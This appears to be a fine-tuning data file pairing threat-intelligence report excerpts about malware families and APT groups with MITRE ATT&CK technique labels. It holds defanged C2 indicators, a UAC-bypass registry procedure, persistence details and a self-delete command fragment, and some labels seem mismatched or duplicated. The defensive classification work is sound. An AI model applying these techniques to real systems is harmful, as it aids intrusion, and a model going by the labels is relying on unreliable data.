"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. This configuration file contains the same actor pool and wallet information as the first. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe"" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file ""dDNLQrsBUE.url"" in the Windows Start Menu Folder",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Config.json"" is a mining config file for XMRig, an open-source Monero miner. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. TermsHost.exe"" is a PE32 Monero miner. Based on the config file it uses, it appears to be the Monero Silent Miner. This miner can be purchased online for $14 and targets malicious actors. Advertising for the miner promotes it as offering startup registry key persistence, mining only while idle, and the ability to inject the miner into ""Windows processes to bypass firewalls. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The sample also creates the UPX-packed file ""dDNLQrsBUE.url"" in the Windows Start Menu Folder. Intriguingly, this file appears to share some similarities with Cobalt Strike, the popular penetration testing software, which would allow the attacker to have greater control over the infected system",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
"The ROKRAT author implements several techniques typically seen to frustrate human analysts and avoid sandbox execution. First, the malware does not run on Windows XP systems. The code used to perform this task: The malware checks the process names in use on the victim machine. It compares if the executed process name matches a partial name hardcoded in the sample. Here is the complete list",['T1057 - Process Discovery'],fine_tune
"In this version, a shortcut is created in order to launch winnit.exe in the following path %USERPROFILE%\Start Menu\Programs\Startup\Anti virus service.lnk. As in the previous version, the ID of the infected system is generated with exactly the same method. The C2 is different and the analysed version this time only contains a single domain",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"If yes, it generates an RSA PKCS key using CryptGenKey that is used for encryption of communication session keys. It then writes the RSA key to the PRVK key in the [Version] section of the config file. Turla’s Carbon backdoor also implements RSA encryption on the session keys for some of its C&amp;C channels",['T1573.002 - Asymmetric Cryptography'],fine_tune
"root/.ssh/{id_rsa, id_rsa.pub} – the SSH pair key used to update the miner from the C&amp;C server using SCP. opt/{bootsync.sh, bootlocal.sh} – the system startup commands that try to update the miner from the C&amp;C server and run it (see Scripts 7 and 8",['T1105 - Ingress Tool Transfer'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. It uses RC4 encryption and custom Base64 encoding to obfuscate HTTP traffic. Datper uses an RC4-encrypted configuration to obfuscate HTTP traffic. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"Hardcore Nationalist group SideWinder is a threat group active since 2012 according to Kaspersky. This group mainly targets Pakistanis and Chinese military &amp; government entities’ windows machines. They also target mobile phone devices. This is the second time this group is using COVID-19 theme to lure victims, thereby capitalizing on the fear of global pandemic. Sidewinder aka HN2 is believed to be an Indian state sponsored group. A detailed analysis of SideWinder attacks on Pakistani military officials was also published in April","['T1204.002 - User Execution: Malicious File', 'T1204.001 - Malicious Link']",fine_tune
The SolarWinds Orion API is vulnerable to authentication bypass that could allow a remote attacker to execute API commands,['T1203 - Exploitation for Client Execution'],fine_tune
"Grandoreiro’s DGA uses two strings (prefix and suffix) hardcoded in the binary and the local date as inputs. Note that based on the DGA, a different website is required for each day. We have observed some variants also using a custom base64 alphabet",['T1568.002 - Domain Generation Algorithms'],fine_tune
WastedLocker will attempt to encrypt files on local as well as remote (network adjacent and accessible) and removable drives,['T1135 - Network Share Discovery'],fine_tune
"The infection chain starts with an email in which the victim receives a download link that fetches the first-stage downloader. As we found in our analysis, this first-stage downloader is responsible for fetching a malicious MSI file hosted on an attacker-controlled GitHub page. This MSI file is downloaded and executed on the endpoint. As a result, a malicious Python-compiled binary is dropped on the file system, which uses the Dropbox API for command-and-control (C&amp;C) communication","['T1566.002 - Phishing: Spearphishing Link', 'T1105 - Ingress Tool Transfer', 'T1102.002 - Bidirectional Communication', 'T1204.001 - Malicious Link']",fine_tune
"At the second stage, the attackers remotely connected to the device and scanned the local network seeking to gain access to public shared folders, web servers, and any other open resources. The aim was to harvest information about the network, above all, servers and workstations used for making payments. At the same time, the attackers tried to brute-force or sniff login data for such machines. If the firewall blocked access from one segment of the network to another, but allowed a reverse connection, the attackers used a different payload to build tunnels",['T1040 - Network Sniffing'],fine_tune
"As a result of all of the above actions, when attempting to surf the web, the user’s web browser will first ask the attacker web page on TOR for proxy settings. The user traffic is then redirected through a proxy controlled by the attacker, who carries out a Man-In-the-Middle attack and impersonates the various sites the user attempts to surf. The attacker is free to read the victim’s traffic and tamper with it in any way they please",['T1557 - Adversary-in-the-Middle'],fine_tune
"After execution, Ragnar Locker Ransomware encrypts the files and adds the extension “.ragnar” and an 8 digit number",['T1486 - Data Encrypted for Impact'],fine_tune
"When referring to additional plugins, it is worth noting that in early versions of Valak the plugins were downloaded by the second stage JS via PowerShell. More recent versions of Valak abandoned the popular yet easily detectable PowerShell downloader approach and transitioned to PluginHost as a means of managing and downloading additional payloads. This transition indicates that the Valak authors are looking for stealthier approaches and ways to improve their evasion techniques",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"Controlled by Micropsia operators, the malware is able to register to an event of USB volume insertion to detect new connected USB flash drives. Once an event is triggered, Micropsia executes an RAR tool to recursively archive files based on a predefined list of file extensions (*.xls, *.xlsx, *.csv, *.odt, *.doc, *.docx, *.ppt, *.pptx, *.pdf, *.mdb, *.accdb, *.accde, *.txt","['T1560.001 - Archive Collected Data: Archive via Utility', 'T1119 - Automated Collection']",fine_tune
"We were able to source a sample that may be the malware involved in the May 2018 attacks. We ran it, and it broke the boot sector as expected (see Figure 1). An initial analysis of the file revealed it was created using Nullsoft Scriptable Install System (NSIS), an open-source application used to create setup programs. The actor behind this threat used the application and purposely named it “MBR Killer. There are no indications of network-related behavior in this malware",['T1027 - Obfuscated Files or Information'],fine_tune
"In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking, and downloads an encrypted payload to the infected computer. And similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer",['T1027 - Obfuscated Files or Information'],fine_tune
Creates a new registry key HKCU\Software\Classes\Folder\shell\open\command - Sets the “Default” value to “path of the malware” - Creates a value “DelegateExecute” and sets the value to “0” - Executes %systemDirectory%sdclt.exe to bypass the UAC as shown below (figure 7,['T1112 - Modify Registry'],fine_tune
"These two files, keyword_parm.txt and parm.txt contain instructions for MESSAGETAP to target and save contents of SMS messages",['T1560.003 - Archive via Custom Method'],fine_tune
"1) Send initial proxy module request. The initial request contains the bot ID, external IP address of the infected machine, reverse DNS lookup of the external IP address, internet speed (measured earlier) and seconds since the proxy module started. 2) Establish a connection (proxy commands sequence 1-&gt;10-&gt;11) with the PROXY-C2. 3) Initialize sessions, perform socks5 authorization with login/password (received from PROXY-C2 with command 10). 4) Begin SOCKS5-like communication wrapped into the QakBot proxy module protocol",['T1090.002 - External Proxy'],fine_tune
"A technical relevant fact about this campaign is the use of Python embedded into Windows executables of the malware. There is no multi-platform support as the code is heavily Windows-oriented (use of libraries). However, we discovered several clues that the attackers prepared the infrastructure for Mac OS X and Unix victims as well. In addition to Windows components, we also found a mobile (Android) component","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059.006 - Command and Scripting Interpreter: Python']",fine_tune
"The second version does not carry the payload directly but instead downloads it from a C2 into the same location as before. The C2 server address is embedded in the main executable in the TinkaOTP bundle. The hardcoded download and execution code are easily visible as they are unencrypted, plain UTF strings in the binary",['T1105 - Ingress Tool Transfer'],fine_tune
"Guloader is a downloader that has been active since 2019. It is known to deliver various malware, more notably: Agent-Tesla, Netwire, FormBook, Nanocore, and Parallax RAT",['T1102 - Web Service'],fine_tune
All of the backdoors identified – excluding RoyalDNS – required APT15 to create batch scripts in order to install its persistence mechanism. This was achieved through the use of a simple Windows run key,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
"Once communication with the C2 server has been established, QakBot is known to download and use additional modules in order to perform its malicious operations","['T1095 - Non-Application Layer Protocol', 'T1105 - Ingress Tool Transfer']",fine_tune
"This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"One legitimate executable, sometimes signed, and vulnerable to dynamic-link library (DLL) sideloading - One malicious DLL loaded by the legitimate file - One binary file usually containing obfuscated code, unpacked in memory by the malicious DLL","['T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"The `Download3rdStage` will first decode `https://discord.com` and try to connect to it. Then, it performs a time-based anti-debug check, as shown in the code below. If any of these checks fail, the DLL will not download the third stage",['T1497.003 - Time Based Evasion'],fine_tune
"Learn more about our Personal Data Protection PolicyAccept Cookies . DeepMalwareAnalysis . Joe Security's Blog . TrickBot's new API-Hammering explained . Published on: 13.07.2020 As usual, at Joe Security, we keep a close eye on evasive malware. It turned out to be a new TrickBot sample using API hammering to bypass analysis. Two Stage API Hammering . Right after the entry point, the sample tries to load taskmgr.exe as a DLL: This is likely a trick to bypass emulators that do not check if a given DLL exists if LoadLibraryEx is called. Since before the loop FreeConsole has been called all printf calls do basically nothing: This code has been directly copied from the documentation of printf: So what is the purpose of those numerous printf loops. As a result, the massive amount of calls delay the execution process and overload the sandbox with junk data. This behavior is called API Hammering. API Hammering is not a new technique, we have already seen it several years ago e.g. Joe Sandbox detects the API hammering successfully and rates it as malicious: Right after the printf flood, the sample performs another loop to delay execution by creating and writing to a temporary file - the second stage. In between it performs random sleeps: Again, the purpose is to overload the sandbox and delay the execution. No matter what technology your favorite sandbox uses, it has to handle API Hammering correctly",['T1106 - Native API'],fine_tune
"When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows",['T1106 - Native API'],fine_tune
"Inception’s malware is modular and the attackers will load plugins based on requirements for each attack. The group has used a range of plugins in recent attacks, some of which are improved versions of plugins used in 2014, while others were previously unseen",['T1057 - Process Discovery'],fine_tune
"When running under a limited UAC account, the installer extracts d3d9.dll and creates a persistence key under HKCU\Software\Microsoft\Windows\Run",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The process begins with the consistent execution of a malicious DLL using the legitimate regsvr32.exe Windows Utility. Once executed, the DLL is deleted from the system and its components are dropped to the system",['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],fine_tune
"Following the initial compromise, in many instances the BackdoorDiplomacy group employed open-source reconnaissance and red-team tools to evaluate the environment for additional targets of opportunity and lateral movement. Among the tools documented are","['T1105 - Ingress Tool Transfer', 'T1588.002 - Tool']",fine_tune
"Once the library is called by one of the triggering events implemented in its code, it reads a configuration file from a shared Google Document. If it is not able to connect to the address, it uses a hardcoded one",['T1565.002 - Transmitted Data Manipulation'],fine_tune
Hildegard uses LD_PRELOAD to hide the malicious process launched inside the containers. The malware modified the /etc/ld.so.preload file to intercept shared libraries’ imported functions,['T1574.006 - Hijack Execution Flow: LD_PRELOAD'],fine_tune
"The threat actor connected via Remote Desktop from a Domain Controller to a vCenter server and opened a PowerShell console, then used the PowerShell command -ep bypass to circumvent the execution policy. Using the Windows Azure Active Directory PowerShell Module, the threat actor connected to the victim’s O365 tenant and began performing enumeration queries","['T1087.002 - Account Discovery: Domain Account', 'T1482 - Domain Trust Discovery']",fine_tune
"Targets are sent spear phishing e-mails that lead them to a web site displaying a lure document and are immediately prompted to install a malicious Google Chrome extension. It then redirects the user to install a “Font Manager” extension from the Chrome Web Store, as seen in Figure 2. Figure 2: HTML Source of Phishing Page The malicious extensions, now removed from the Chrome Web Store, contain reviews left by the threat actor using compromised Google+ accounts. It should be noted however, that some users reported deleting the extension immediately because it prevented the Chrome browser from functioning properly. The malicious Chrome extensions declare permissions to run on every URL in the browser, as seen in Figure 3. Loading jQuery.js from an external site makes no sense, since the latest version of extension has a legitimate jQuery.js included in the extension bundle. Figure 4: Given the threat actor’s propensity for password theft, and the fact that the malicious Chrome extensions were situated to read data from every website, it's likely that the intent is to steal browser cookies and passwords. Figure 5: Certificate used to sign MECHANICAL/GREASE While the threat actors did use a few tools to automate intrusions, we also found a ZIP archive of tools that demonstrate their propensity for password theft to propagate. Advise users to be wary of any prompts to install browser extensions, even if they are hosted on an official extension site. They spent significant time and resources doing reconnaissance on their targets, as evidenced by the comments left on the Chrome extension page",['T1176 - Browser Extensions'],fine_tune
After the payload execution it reaches out to the C2 via POST request as shown below,['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
All RDAT samples have malicious verdicts in WildFire and have protections in place through Cortex XDR. DNS tunneling protocols used for C2 communications are blocked via DNS Security. All C2 domains are classified as Command-and-Control for URL Filtering. AutoFocus customers can monitor activity via the rdat_backdoor tag,"['T1132.002 - Non-Standard Encoding', 'T1132.001 - Data Encoding: Standard Encoding']",fine_tune
"Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. In addition the blog also mentioned that a host of other large corporations were also targets of this same attack. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. Considering the efforts that the attackers put into staging the attack as a whole, the end malware is not so sophisticated. Download a remote file, save it as %Temp%\mdm.exe, and then execute it. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. Prevention &amp; Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites. The attacker can exploit this issue by supplying a malicious Flash ('.swf') file or by embedding a malicious Flash application in a PDF file",['T1105 - Ingress Tool Transfer'],fine_tune
"We mentioned earlier that docx files (like xlsx and pptx) are part of the OOXML standard. The document defining this standard[6], describes the syntax and values that can be used as an example. An interesting file to look at is the ‘settings.xml’ file that can be discovered in the ‘Word’ container of the docx zip file. This file contains settings with regards to language, markup and more. First, we extracted all the data from the settings.xml files and started to compare. All the documents below contained the same language values",['T1221 - Template Injection'],fine_tune
"FireEye has dubbed the cybercrime gang FIN5. One of the most unique things about FIN5 is that in every intrusion we responded to where FIN5 has been active, legitimate access was identified. They had valid user credentials to remotely log into the network,"" said Barry Vengerik, principal threat analyst at FireEye. No sexy zero-days, no remote exploits -- not even spearphishing",['T1110 - Brute Force'],fine_tune
"It looks like GrowlHelper creates an executable named Software Update Check when it thinks it’s online. I was pretty excited when I first found this, but quickly realized it just drops a copy of itself with a different name",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"FireEye assesses APT33 may be behind a series of intrusions and attempted intrusions within the engineering industry. FireEye's Managed Defense has responded to and contained numerous intrusions that we assess are related. The actor is leveraging publicly available tools in early phases of the intrusion; however, we have observed them transition to custom implants in later stage activity in an attempt to circumvent our detection","['T1555 - Credentials from Password Stores', 'T1003.001 - OS Credential Dumping: LSASS Memory', 'T1552.001 - Unsecured Credentials: Credentials In Files', 'T1003.005 - OS Credential Dumping: Cached Domain Credentials', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers', 'T1552.006 - Unsecured Credentials: Group Policy Preferences', 'T1003.004 - OS Credential Dumping: LSA Secrets', 'T1588.002 - Tool']",fine_tune
"PowerPunch also provides an excellent example of this. The key is applied to an executable payload downloaded directly from adversary infrastructure, allowing for an encryption key unique to the target host (highlighted variables names were changed for clarity",['T1105 - Ingress Tool Transfer'],fine_tune
"The attackers manually send a command to the JS or C# component to drop and execute a batch file from one of their servers. That batch file writes a malicious INF file and supplies it as a parameter to the Microsoft utility cmstp.exe, which executes a remote scriptlet specified in the INF file. This technique has been documented in the MITRE ATT&amp;CK knowledge base as CMSTP; an example of how this technique is used may be found here. This technique has been used in the past by Cobalt, another financially motivated group. The remote scriptlet contains obfuscated JS code that drops an OCX file and executes it via regsvr32.exe",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"cmd.exe /C choice /C Y /N /D Y /T 2 &amp; Del After sleeping, the Trojan will create a GUID and write it to %APPDATA%\Windows\GDI.bin. It then moves itself to %APPDATA%\Windows\WindowsImplantment.exe and sets both of these files to have the hidden and system flags to hide them from the user. With the Trojan moved its final location, it will then create a scheduled task to run a VBScript to make sure it runs persistently. This differs from the previous OopsIE variant that used a hardcoded task name for the scheduled task. This process ultimately attempts to run the Trojan every three minutes, which is important as OopsIE relies on this scheduled task as it does not include a main loop to continue its execution. After creating this scheduled task for persistence, the Trojan will begin communicating with its C2 server. The process in which the Trojan communicates with its C2 server is very similar to the previous OopsIE Trojan that we discussed in our previous blog. Also, the oops string used to signify and erroneous transmission from the C2, which gave OopsIE its name is reversed to spoo. hex(STDOUT of whoami command)&gt; If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL. The command handler in this OopsIE variant is very similar to the previous version, as it contains the same three (1, 2 and 3) commands seen in Table 2",['T1105 - Ingress Tool Transfer'],fine_tune
"In october 2016 Group-IB published the report about the Cobalt group. Network penetration In all cases investigated by Group-IB, the Cobalt group used a set of spear phishing emails to gain initial access to the corporate infrastructure. However, some of the email addresses belong to employees that no longer work at the organization, which means that the Cobalt group likely uses out-of-date mailing lists. However, when there is use of a security policy that prohibits the transfer of encrypted archives, such an email message may be blocked, so the attackers would send .doc files that contain exploits for Microsoft Office (fig. For organizations that perform timely updates of their systems and adhere to strict security policies, the Cobalt group employs another method to deliver malicious code through emails with Word documents containing a malicious macro. Therefore, the Cobalt group registered domains are similar to real ones (for example, diebold.pw), and configured their email server to distribute acting as these legitimate domains (fig. Provision of the malware survivability The Cobalt group uses different methods to ensure malware survivability on corporate networks. From our experience, the Cobalt group uses a new method to provide its survivability in every attack. Additional means of circumventing anti-virus tools include the use of exploits to increase the level of rights and privileges, bypassing UAC, and injecting code into trusted processes. Conclusion After infecting one computer on an organization's network, the Cobalt group analyzes the programs used on it and search for critical servers and the computers from which they are accessed",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"The dropped payload is a DLL file that has been packed using the UPX packer. The unpacked sample is highly obfuscated and important API calls and strings have been encrypted using a custom encryption algorithm. Whenever in the code the malware needs to use a string, it takes the encrypted string and passes it into two functions to decrypt it",['T1027.002 - Obfuscated Files or Information: Software Packing'],fine_tune
This document likely marks the first observed use of this technique by APT28. The use of DDE with PowerShell allows an attacker to execute arbitrary code on a victim’s system regardless whether macros are enabled,['T1559.002 - Inter-Process Communication: Dynamic Data Exchange'],fine_tune
"POWERTON is a backdoor written in PowerShell; FireEye has not yet identified any publicly available toolset with a similar code base, indicating that it is likely custom-built. POWERTON is designed to support multiple persistence mechanisms, including WMI and auto-run registry key. POWERTON typically gets deployed as a later stage backdoor and is obfuscated several layers",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"A batch file that is used to run Bitsadmin and Rundll to download and execute the Egregor payload. A Zip file contains a binary file that is an RClone client, renamed svchost, and RClone config files (webdav, ftp and dropbox) used later for exfiltration",['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],fine_tune
The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor. The PowerShell backdoor has the following capabilities,"['T1049 - System Network Connections Discovery', 'T1518 - Software Discovery', 'T1027 - Obfuscated Files or Information']",fine_tune
"The archive contains two files; the first is an executable file, while the second is a decoy PDF document. The bear’s lair . The Stage-1 downloader will download and execute a new downloader, written in C++, not so different from other Zebrocy downloaders. How the bear hunts . In this section we describe in more detail the commands performed manually by the operators through their Delphi backdoor. As we did not identify a pattern in the order which the commands are invoked, we believe the operators are executing them manually. The first set of commands gathers information about the victim’s computer and environment: The commands above are commonly executed when the operators first connect to a newly activated backdoor. Moreover, the backdoor contains a list of filenames related to credentials from software listed below (database names): The operators take care of retrieving these databases if they are present on the victim’s computer. The operators retrieve these files on the machine using the DOWNLOAD_LIST command. This command can be used when the operators are aware of the presence of interesting files on the computer. This backdoor is executed using the CMD_EXECUTE command: There are some interesting facts here. The first set of commands is the same and executed during a very short timeframe, which raises another question: is it automated",['T1083 - File and Directory Discovery'],fine_tune
"The reason for this is that most of the file comprises meaningless overlay data, since the file is an automatically generated AutoIT executable with an AutoIT3 script embedded inside. Once started, it downloads additional malware from the C2 and also uploads some basic system information, stealing, among other things, the user’s Google Chrome credentials. The backdoor also pings the C2 server at regular intervals. A good security analyst can spot this while analyzing firewall log files and thereby find out that something suspicious might be going on in the network",['T1105 - Ingress Tool Transfer'],fine_tune
"Daserf — This backdoor has the functionality of a remote shell and can be used to execute commands, upload and download data, capture screenshots, and log keystrokes. xxmm (also known as Minzen) — This RAT and likely successor to Daserf AES-encrypts HTTP communications using a one-time encryption key. As of this publication, BRONZE BUTLER demonstrates a preference for concurrently using Datper and xxmm in its operations. T-SMB Scan — This SMB scanning tool was originally published on a Chinese program-sharing website (pudn.com). BRONZE BUTLER removed its help message functionality. Use the ‘at' or ‘schtask' commands to register a scheduled task to be executed in a few minutes. Use malware to upload the large list of enumerated files to the C2 server. Use downloaders or other malware to send the new list to a compromised host. Use an uploader or other malware to send the archived files to an attacker-controlled server. Search proxy log files for evidence of web server scanning using the URL patterns associated with BRONZE BUTLER activity. In particular, review network access for use of mobile USB modems on corporate systems",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"This structure parses out executable scripts from data provided via a remote operator. In this case, the REGEX value indicates this implant will receive scripts compressed (tar files). The malware will then decompress them before executing the embedded script. Analysis indicates the WellMail implant is similar in design and structure to the WellMess implant -- and both accept and execute shell scripts from a remote operator",['T1105 - Ingress Tool Transfer'],fine_tune
"Narrow attacks targeted the Automotive industry among others, while the large malicious spam campaigns appear to be associated with threat actor TA505, an actor responsible for many large-scale attacks since at least 2014",['T1204.002 - User Execution: Malicious File'],fine_tune
"We have discovered that malware dubbed WinDealer, spread by Chinese-speaking APT actor LuoYu, has an ability to perform intrusions through a man-on-the-side attack","['T1204.001 - Malicious Link', 'T1566.002 - Phishing: Spearphishing Link', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link', 'T1120 - Peripheral Device Discovery']",fine_tune
"Finally, the malware changes the password of the local users. In the files analyzed, all the passwords chosen by the actor have the same pattern: Aa153",['T1531 - Account Access Removal'],fine_tune
"The configuration file for Torisma is encrypted using the algorithm VEST[1] in addition to the communication sent over the C2 channel. From our research this encryption method is not commonly used anywhere, in fact it was a proposed cipher that did not become a standard to be implemented in general technologies[2","['T1041 - Exfiltration Over C2 Channel', 'T1573.001 - Symmetric Cryptography']",fine_tune
"In response to historical disclosures detailing TA416 PlugX malware infection and encoding methods, the group appears to have adopted a rapid rate of development for their PlugX payloads. The group uses different legitimate PE files to initiate sideloading, as well as a variety of PlugX DLL loaders including the PotPlayer and DocCon versions noted in this publication. TA416 also uses different variants of the final PlugX payload in which the communication routines are observed to be different when closely analyzed. Additionally, the payload DAT file decryption method has evolved regularly since the beginning of 2022. Several observed decryption schemas and a sample configuration are included below with date ranges detailing the evolution of observed PlugX payloads",['T1027 - Obfuscated Files or Information'],fine_tune
"Usually, after infection the bot sends a ‘PING’ message, ‘SYSTEM INFO’ message and ‘ASK for COMMAND’ message, and the C2 replies with ‘ACK’ and ‘COMMAND’ messages. If additional modules were pushed by the C2, the bot sends a ‘STOLEN INFO’ message containing data stolen by the modules",['T1041 - Exfiltration Over C2 Channel'],fine_tune
The malware can use 2 different public RSA keys: one exported using the crypto api in a public blob or using the embedded in base64 in the malware. The malware will only use the second one if it cannot create the crypto context or has some problem with the crypto api functions,['T1106 - Native API'],fine_tune
Pillowmint is usually installed through a malicious shim database which allows the malware to persist in the system,['T1546.011 - Event Triggered Execution: Application Shimming'],fine_tune
"1) An application is bundled with virtualization software, a Linux image and additional files used to achieve persistence. 2) User downloads the application and follows attached instructions on how to install it. 3) LoudMiner is installed first, the actual VST software after. 4) LoudMiner hides itself and becomes persistent on reboot. 5) The Linux virtual machine is launched and the mining starts. 6) Scripts inside the virtual machine can contact the C&amp;C server to update the miner (configuration and binaries","['T1569.002 - System Services: Service Execution', 'T1218.007 - Signed Binary Proxy Execution: Msiexec']",fine_tune
"Once on the network, the attackers engaged in network reconnaissance and retrieved a list of trusted domains and a list of domain controllers with the following commands",['T1482 - Domain Trust Discovery'],fine_tune
"When REvil was first discovered, it was delivered to targets via exploitation of Oracle WebLogic vulnerabilities. There are reports that the threat actors leveraged a strategic web compromise (SWC) to deliver REvil by compromising the Italian WinRAR . it website and replacing the WinRAR installation executable with an instance of the malware. The SWC resulted in the infection of unsuspecting WinRAR customers' systems. In other reports, threat actors breached at least three managed service providers (MSPs) and used the access to deploy REvil to the MSPs' customers. The diversity and complexity of delivery mechanisms employed by the REvil threat actors in a short period of time suggest a high level of sophistication",['T1189 - Drive-by Compromise'],fine_tune
ZxShell.dll is injected in a shared SVCHOST process. The Svchost group registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost is opened and the netsvc group value data is queried to generate a name for the service,['T1055.001 - Process Injection: Dynamic-link Library Injection'],fine_tune
"MSTIC has observed NICKEL actors using exploits against unpatched systems to compromise remote access services and appliances. Upon successful intrusion, they have used credential dumpers or stealers to obtain legitimate credentials, which they used to gain access to victim accounts. MSTIC has also observed NICKEL perform frequent and scheduled data collection and exfiltration from victim networks","['T1614.001 - System Location Discovery: System Language Discovery', 'T1082 - System Information Discovery']",fine_tune
DriveSlayer is digitally signed using a valid certificate and also abuses a legitimate EaseUS Partition Master driver to gain raw disk access and manipulate the disk to make the system inoperable,['T1553.002 - Code Signing'],fine_tune
"Like any other typical PoS malware, Pillowmint iterates a list of processes and process them two at a time. it uses the API OpenProcess() using the PROCESS_VM_READ and PROCESS_QUERY_INFORMATION flags to obtain a handle then reads the memory’s content via ReadProcessMemory() API two chunks at a time. Depending on the Pillowmint version, it may encrypt the stolen CC data with AES encryption algorithm + Base64. This is then written to a file named ""ldb_e.log"" in Windows System directory",['T1106 - Native API'],fine_tune
"Along with the EDRPOU numbers, the backdoor collects proxy and email settings, including usernames and passwords, from the M.E.Doc application",['T1087.003 - Email Account'],fine_tune
"Kimsuky is a highly motivated threat actor targeting a number of entities in South Korea. This group has been relentlessly creating new infection chains to deliver different types of malware to their victims. Such targeted attacks can result in the leak of restricted research, unauthorized access for espionage and even destructive attacks against target organizations",['T1588.002 - Tool'],fine_tune
"Once the Bazar loader downloads its payload, the Bazar backdoor, it is decrypted using the same method as the aforementioned Team9 variant",['T1104 - Multi-Stage Channels'],fine_tune
"For the investigators at NCC Group and Fox-IT these pieces of evidence supported the hypothesis of the adversary achieving credentials access by brute force, and more specifically by credential stuffing or password spraying",['T1589.001 - Credentials'],fine_tune
"Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. At the time of writing, tmate sessions are the only way the attacker interacts with the compromised containers","['T1219 - Remote Access Software', 'T1219 - Remote Access Software']",fine_tune
"After loading its configuration data, GoldMax checks the current date-time value of the compromised system against the activation date from the configuration data","['T1016 - System Network Configuration Discovery', 'T1497.003 - Time Based Evasion', 'T1124 - System Time Discovery']",fine_tune
"Once the VBScript in XSL has been run, console commands launched by the JS code continue to be executed. Three files are copied into the folder OFFICE12 that was created in the user profile. Those files are",['T1220 - XSL Script Processing'],fine_tune
